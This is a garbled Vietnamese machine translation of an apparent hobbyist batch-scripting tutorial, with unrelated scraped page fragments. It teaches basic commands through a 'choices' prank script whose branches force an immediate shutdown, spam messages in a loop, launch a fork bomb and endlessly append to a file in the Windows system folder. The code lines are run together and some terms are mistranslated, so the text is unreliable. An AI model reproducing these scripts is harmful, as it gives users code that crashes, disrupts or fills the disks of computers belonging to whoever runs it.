Mục lục:

Hướng dẫn hàng loạt - Thực hiện 2: 4 bước
Hướng dẫn hàng loạt - Thực hiện 2: 4 bước

Video: Hướng dẫn hàng loạt - Thực hiện 2: 4 bước

Video: Hướng dẫn hàng loạt - Thực hiện 2: 4 bước
Video: In hàng loạt trong excel (hỗ trợ Tạo 2 giấy mời trên 1 trang A4) 2024, Tháng bảy
Anonim
Hướng dẫn hàng loạt - Lấy 2
Hướng dẫn hàng loạt - Lấy 2

Được rồi, như tôi đã nói trong hướng dẫn trước đây của tôi về batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), tôi dự định tạo một hướng dẫn 3 phần mở rộng (hoặc thực hiện) trên batch. Trong đó sẽ bao gồm hầu hết những gì bạn cần biết để làm những gì bạn muốn với batch.

Bước 1: Định dạng Văn bản, Tiêu đề và Cls của tôi

Được rồi, để bắt đầu, tôi sẽ cho bạn xem mã;

@echo offtitle Choices.. [by laconix] clsecho Bạn có một số lựa chọn để thực hiện..echo.. hãy lựa chọn sai và phải chịu hậu quả! echo.pause: menuclsecho.echo.echo.echo.echo. echo / ------------------------------ / echo / Chọn một số từ 1 đến 3 / echo (- 1.. 2.. 3 -) echo / Mọi lựa chọn nhưng một lựa chọn là tệ! / echo / ------------------------------ / Về cơ bản, title đặt tiêu đề cho dấu nhắc lệnh nên title direction.com rất tuyệt! cls chỉ xóa cmd của bất kỳ đầu vào hoặc đầu ra nào Bạn nên biết tiếng vọng làm gì bây giờ, nhưng tiếng vang. tạo một dòng mới hữu ích cho việc định dạng.: menu mặc dù tôi đã đề cập đến vấn đề này trong hướng dẫn trước của mình, nhưng đáng để xem lại, về cơ bản nó tạo ra một điểm trong chương trình mà bạn có thể GOTO bất cứ lúc nào. Phần còn lại của phần này chỉ là định dạng.:NS

Bước 2: Khởi tạo các biến, lấy thông tin đầu vào của người dùng và câu lệnh If

Một lần nữa tôi sẽ cho bạn xem mã sau đó giải thích nó;

set choice = nadaecho?.: Cái gì & aposll nó là gì:.? set / p choice = Huh? clsif% choice% == 1 GOTO oneif% choice% == 2 GOTO twoif% choice% == 3 GOTO threemsg * Không phải 1, 2 hay 3 hả? Tiếc quá, tạm biệt..shutdown -s -f -t 00 set choice = nada, điều này đang làm là tạo hoặc khởi tạo biến với giá trị ban đầu hoặc "nada", hoặc không có gì.: D Một biến giống như một thùng chứa lưu trữ thông tin cho bạn cho đến khi nó không còn cần thiết nữa hoặc chương trình đóng lại. set / p đã chọn =, đây là cách lấy đầu vào của người dùng, bằng cách sử dụng lệnh set với đối số / p yêu cầu lệnh có một chuỗi nhắc. Vì vậy, về cơ bản set / p choice = số nào? giống như đặt một câu hỏi và họ nhập câu trả lời. nếu câu lệnh if hoạt động như vậy. if condition == true dothis Vì vậy, về cơ bản nó nói nếu% choice% bằng 1 GOTO thì điều đó không đúng, nó chỉ chuyển sang dòng tiếp theo. shutdown -s -f -t 00 chỉ tắt máy tính của họ buộc tất cả các chương trình phải đóng ngay lập tức.

Bước 3: Lệnh đường ống, lệnh không đồng bộ và các biến môi trường

Một lần nữa, viết mã trước, giải thích sau;

: onemsg * Vì vậy, bạn đã chọn # 1, bạn nghĩ rằng bạn & aposd được an toàn? msg * SAI !: quy tắc netspamnet send * laconix! GOTO netspam: twoshutdown -s -t 10pausemsg * Hy vọng bạn nhận được điều này kịp thời, vì đây là điều an toàn… tắt máy -aGOTO hell: threemsg * Đây là con số an toàn… pause: forkstart choice.bat | msgstr * Xóa sạch bộ nhớ! GOTO fork: hellmsg * đùa, họ & aposre tất cả đều tệ !: textbombecho laconix quy tắc! >>% systemroot% / laconix.txtGOTO: textbomb: one Về cơ bản chỉ đi vào một vòng lặp GOTO vô hạn. Rất giống với ví dụ fork bom 2 trong hướng dẫn đầu tiên.:two Thực hiện lệnh shutdown -s -t 10 ", tạm dừng, nếu họ không nhấn phím đúng lúc máy tính của họ tắt, nếu họ làm cho nó ngừng hoạt động và khiến họ trở nên GOTO địa ngục: hell Nói với họ rằng không có cái nào tốt, cái mà tôi gọi là bom văn bản. đến% systemroot% / laconix.txt trong / n vòng lặp GOTO vô hạn.% systemroot% là một biến môi trường yêu cầu tệp lưu trong thư mục / windows / bất kể tên của ổ đĩa gốc, tức là. C; /, E: /, Z: /, v.v. ! the | biểu thị các lệnh không đồng bộ, về cơ bản có nghĩa là chúng thực hiện cùng một lúc.

Bước 4: Có gì? Từ

Cảm ơn đã đọc hướng dẫn của tôi, hy vọng bạn thích video. Đã học được điều gì đó.

Và tôi hy vọng bạn tiếp tục quan tâm đến máy tính và các tài liệu hướng dẫn của tôi. Hãy chú ý đến hướng dẫn cuối cùng của tôi trong loạt bài này ngay sau đây!

Đề xuất: